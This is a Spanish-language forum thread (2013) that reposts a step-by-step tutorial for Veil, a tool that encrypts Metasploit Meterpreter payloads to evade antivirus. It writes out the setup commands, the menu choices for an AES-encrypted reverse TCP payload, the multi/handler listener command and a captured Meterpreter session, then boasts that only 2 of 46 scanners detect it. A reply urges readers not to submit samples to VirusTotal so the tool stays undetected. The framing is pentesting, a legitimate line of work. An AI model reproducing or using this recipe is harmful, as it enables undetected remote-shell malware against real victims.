Antivirus Bypass con Veil

Iniciado por ZanGetsu, Junio 12, 2013, 01:19:34 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Junio 12, 2013, 01:19:34 PM Ultima modificación: Junio 12, 2013, 01:21:44 PM por ZanGetsu
Hace unos pocos días Christopher Truncer publicaba en SU BLOG un artículo sobre una herramienta desarrollada por él mismo y a la que ha dado el nombre de VEIL. Esta herramienta tiene una utilidad interesante para todos aquellos que nos dedicamos al Pentesting y tenemos en ocasiones algún problema con los Antivirus, ya que genera payloads de Metasploit que luego codifica de una manera propia y genera un ejecutable nuevo, a priori no detectado por ellos.

La herramienta puede descargarse de ESTE GITHUB: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
así que os recomendo que lo probéis directamente con Kali Linux.

# git clone No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Incluso si lo hacéis con Kali-Linux, es necesario instalar una serie de componentes en el Wine (Python y otros módulos). Por suerte el autor nos ha dejado un script que lo hace todo de forma automática. Solo tenemos que ir dandole a siguiente a todo lo que salga:

# cd Veil
# cd setup
# ./setup.sh

Una vez hecho esto, ya podemos llamar a Veil y empezar a jugar:

# ./Veil.py
====================================
Veil | [Version]: 1.0 | [Updated]: 05.30.2013
====================================
[By]: Chris Truncer | [Twitter]: @ChrisTruncer
====================================
[?] What payload type would you like to use?
1 - Meterpreter - Python - void pointer
2 - Meterpreter - Python - VirtualAlloc()
3 - Meterpreter - Python - base64 Encoded
4 - Meterpreter - Python - Letter Substitution
5 - Meterpreter - Python - ARC4 Stream Cipher
6 - Meterpreter - Python - DES Encrypted
7 - Meterpreter - Python - AES Encrypted
0 - Exit Veil
[>] Please enter the number of your choice: 7

Nos da varias opciones de técnicas que podemos usar para generar un Meterpreter evadiendo los antivirus. Elegimos, por ejemplo, el cifrado AES, y seguimos adelante:

[?] What type of payload would you like?
1 - Reverse TCP
2 - Reverse HTTP
3 - Reverse HTTPS
0 - Exit Veil
[>] Please enter the number of your choice: 1
[?] What's the Local Host IP Address: 192.168.1.100
[?] What's the Local Port Number: 1212
  • Generating shellcode...

    Elegimos que el payload sea reverse_tcp e introducimos los datos de nuestra IP y puerto a la escucha. Seguimos adelante:

    [?] How would you like to create your payload executable?
    1 - Pyinstaller (default)
    2 - Py2Exe
    [>] Please enter the number of your choice: 1
    184 INFO: wrote Z:\opt\Veil\payload.spec
    244 INFO: Testing for ability to set icons, version resources...
    261 INFO: ... resource update available
    267 INFO: UPX is not available.
    2296 INFO: checking Analysis
    [...]

    Elegimos que genere el binario con PyInstaller, que es la opción por defecto y ,después de unas cuantas lineas, al final nos avisa de que el binario ha sido generado:

    [!] Be sure to set up a Reverse TCP handler with the following settings:
    PAYLOAD = windows/meterpreter/reverse_tcp
    LHOST   = 192.168.1.100
    LPORT   = 1212
    [!] Your payload files have been generated, don't get caught!

    Parece que ya tenemos el Payload generado pero... ¿funcionará? Vamos a lanzar un módulo multi/handler de Metasploit y a ejecutarlo en un Windows, a ver si funciona como nos tiene acostumbrados:

    $ ./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=1212 E
  • Started reverse handler on 0.0.0.0:1212
  • Starting the payload handler...
  • Sending stage (751104 bytes) to 192.168.1.100
  • Meterpreter session 1 opened (192.168.1.100:1212 -> 192.168.1.100:50461) at 2013-05-31 10:53:58 +0200
    meterpreter > sysinfo
    Computer        : S21SEC-JSELVI
    OS              : Windows 7 (Build 7601, Service Pack 1).
    Architecture    : x86
    System Language : es_ES
    Meterpreter     : x86/win32

    Funcionar vemos que funciona, pero ahora falta ver si de verdad es indetectable por los antivirus. Por norma general no os recomiendo que utilicéis VirusTotal para probar vuestros encoders, porque VT distribuye las muestras a las casa antivirus, así que os podéis encontrar de que de repente empiecen a detectar vuestro encoder, cuando antes no lo hacían. Sin embargo, en este caso, la herramienta es pública, así que es cuestión de tiempo que se pongan con ello y empiecen a detectarlo, por lo que podemos hacer el experimento con VT sin problemas. EL RESULTADO del análisis han sido que solo 2 de los 46 AntiVirus lo han detectado, y ninguno de ellos era de los principales fabricantes del sector.


    o tengo muy claro que su capacidad para evadir los antivirus esté en las técnicas elegidas al arrancar Veil, o si es simplemente por el hecho de estar usando un convertidor de código Python a EXE. No he hecho la prueba, pero veo bastante probable que eso tenga gran parte de la culpa de este resultado.
    Como la herramienta es pública, es cuestión de tiempo que las compañias AV lo analicen y sus binarios empiecen a ser detectados, así que... ¡disfrutáis mientras podáis!

    Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Junio 26, 2013, 04:29:31 PM #1 Ultima modificación: Junio 26, 2013, 04:35:03 PM por Metadato
Se ve genial la herramienta!!! Muchas gracias por el aporte.

PD: Al final, como tu dices, la herramienta se quemará en poco tiempo por ser pública, pero por favor, no la quemes tú analizándo en VirusTotal, por que si nos ponemos todos a analizar en VirusTotal pensando en que se va a quemar por ser pública, en realidad la estamos quemando nosotros.

Saludos.